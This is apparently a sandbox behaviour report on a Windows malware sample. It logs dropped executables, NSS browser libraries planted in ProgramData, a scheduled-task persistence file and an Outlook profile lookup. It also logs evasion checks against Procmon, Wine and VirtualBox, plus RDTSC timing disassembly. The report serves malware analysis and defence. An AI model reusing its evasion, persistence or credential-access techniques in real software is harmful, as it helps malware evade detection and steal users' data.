Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1832960 > 1048576

Source: file.exe

Static PE information: Raw size of vqawkyna is bigger than: 0x100000 < 0x1a5c00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2635803123.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2635803123.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.b20000.0.unpack :EW;.rsrc :W;.idata :W; :EW;vqawkyna:EW;hosvpicv:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;vqawkyna:EW;hosvpicv:EW;.taggant:EW;
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Unpacked PE file: 21.2.DocumentsIDAEBGCAAE.exe.fe0000.0.unpack :EW;.rsrc:W;.idata :W;tcfpemkw:EW;aavgidyx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;tcfpemkw:EW;aavgidyx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 22.2.skotes.exe.560000.0.unpack :EW;.rsrc:W;.idata :W;tcfpemkw:EW;aavgidyx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;tcfpemkw:EW;aavgidyx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 23.2.skotes.exe.560000.0.unpack :EW;.rsrc:W;.idata :W;tcfpemkw:EW;aavgidyx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;tcfpemkw:EW;aavgidyx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 25.2.skotes.exe.560000.0.unpack :EW;.rsrc:W;.idata :W;tcfpemkw:EW;aavgidyx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;tcfpemkw:EW;aavgidyx:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6BC410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C6BC410

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: dc7d43171c.exe.25.dr	Static PE information: real checksum: 0x310dcf should be: 0x974ed
Source: random[1].exe.25.dr	Static PE information: real checksum: 0x310dcf should be: 0x974ed
Source: file.exe	Static PE information: real checksum: 0x1bf8b0 should be: 0x1c37ce
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x327f48 should be: 0x32b331
Source: DocumentsIDAEBGCAAE.exe.0.dr	Static PE information: real checksum: 0x327f48 should be: 0x32b331
Source: skotes.exe.21.dr	Static PE information: real checksum: 0x327f48 should be: 0x32b331

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: vqawkyna
Source: file.exe	Static PE information: section name: hosvpicv
Source: file.exe	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name: tcfpemkw
Source: random[1].exe.0.dr	Static PE information: section name: aavgidyx
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: DocumentsIDAEBGCAAE.exe.0.dr	Static PE information: section name:
Source: DocumentsIDAEBGCAAE.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsIDAEBGCAAE.exe.0.dr	Static PE information: section name: tcfpemkw
Source: DocumentsIDAEBGCAAE.exe.0.dr	Static PE information: section name: aavgidyx
Source: DocumentsIDAEBGCAAE.exe.0.dr	Static PE information: section name: .taggant
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: skotes.exe.21.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name: .idata
Source: skotes.exe.21.dr	Static PE information: section name: tcfpemkw
Source: skotes.exe.21.dr	Static PE information: section name: aavgidyx
Source: skotes.exe.21.dr	Static PE information: section name: .taggant
Source: random[1].exe.25.dr	Static PE information: section name:
Source: random[1].exe.25.dr	Static PE information: section name: .idata
Source: random[1].exe.25.dr	Static PE information: section name: ebojhcaf
Source: random[1].exe.25.dr	Static PE information: section name: welklphc
Source: random[1].exe.25.dr	Static PE information: section name: .taggant
Source: dc7d43171c.exe.25.dr	Static PE information: section name:
Source: dc7d43171c.exe.25.dr	Static PE information: section name: .idata
Source: dc7d43171c.exe.25.dr	Static PE information: section name: ebojhcaf
Source: dc7d43171c.exe.25.dr	Static PE information: section name: welklphc
Source: dc7d43171c.exe.25.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B536 push ecx; ret	0_2_6C68B549
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Code function: 21_2_00FFD91C push ecx; ret	21_2_00FFD92F
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Code function: 21_2_00FF1359 push es; ret	21_2_00FF135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_0057D91C push ecx; ret	22_2_0057D92F

Source: file.exe	Static PE information: section name: vqawkyna entropy: 7.954244151625615
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.124503612338263
Source: DocumentsIDAEBGCAAE.exe.0.dr	Static PE information: section name: entropy: 7.124503612338263
Source: skotes.exe.21.dr	Static PE information: section name: entropy: 7.124503612338263
Source: random[1].exe.25.dr	Static PE information: section name: entropy: 7.056932451890012
Source: dc7d43171c.exe.25.dr	Static PE information: section name: entropy: 7.056932451890012

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsIDAEBGCAAE.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1005151001\dc7d43171c.exe	Jump to dropped file
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsIDAEBGCAAE.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsIDAEBGCAAE.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsIDAEBGCAAE.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsIDAEBGCAAE.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C6B55F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDEF99 second address: EDEF9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDEF9D second address: EDEFB8 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FDDF0E482B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDDF0E482BDh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDEFB8 second address: EDEFBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EECD95 second address: EECD9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEF3F6 second address: EEF444 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b xor dword ptr [ebp+122D1F3Dh], ecx 0x00000011 push 00000000h 0x00000013 xor dx, 6A50h 0x00000018 push 9957A2BBh 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 jmp 00007FDDF0723BE4h 0x00000025 jmp 00007FDDF0723BE9h 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEF444 second address: EEF4E7 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDDF0E482C7h 0x00000008 jmp 00007FDDF0E482C1h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f add dword ptr [esp], 66A85DC5h 0x00000016 push 00000000h 0x00000018 push ecx 0x00000019 call 00007FDDF0E482B8h 0x0000001e pop ecx 0x0000001f mov dword ptr [esp+04h], ecx 0x00000023 add dword ptr [esp+04h], 00000019h 0x0000002b inc ecx 0x0000002c push ecx 0x0000002d ret 0x0000002e pop ecx 0x0000002f ret 0x00000030 mov si, 513Dh 0x00000034 push 00000003h 0x00000036 push 00000000h 0x00000038 push edi 0x00000039 call 00007FDDF0E482B8h 0x0000003e pop edi 0x0000003f mov dword ptr [esp+04h], edi 0x00000043 add dword ptr [esp+04h], 00000019h 0x0000004b inc edi 0x0000004c push edi 0x0000004d ret 0x0000004e pop edi 0x0000004f ret 0x00000050 pushad 0x00000051 add esi, 40B662B0h 0x00000057 mov cx, 9619h 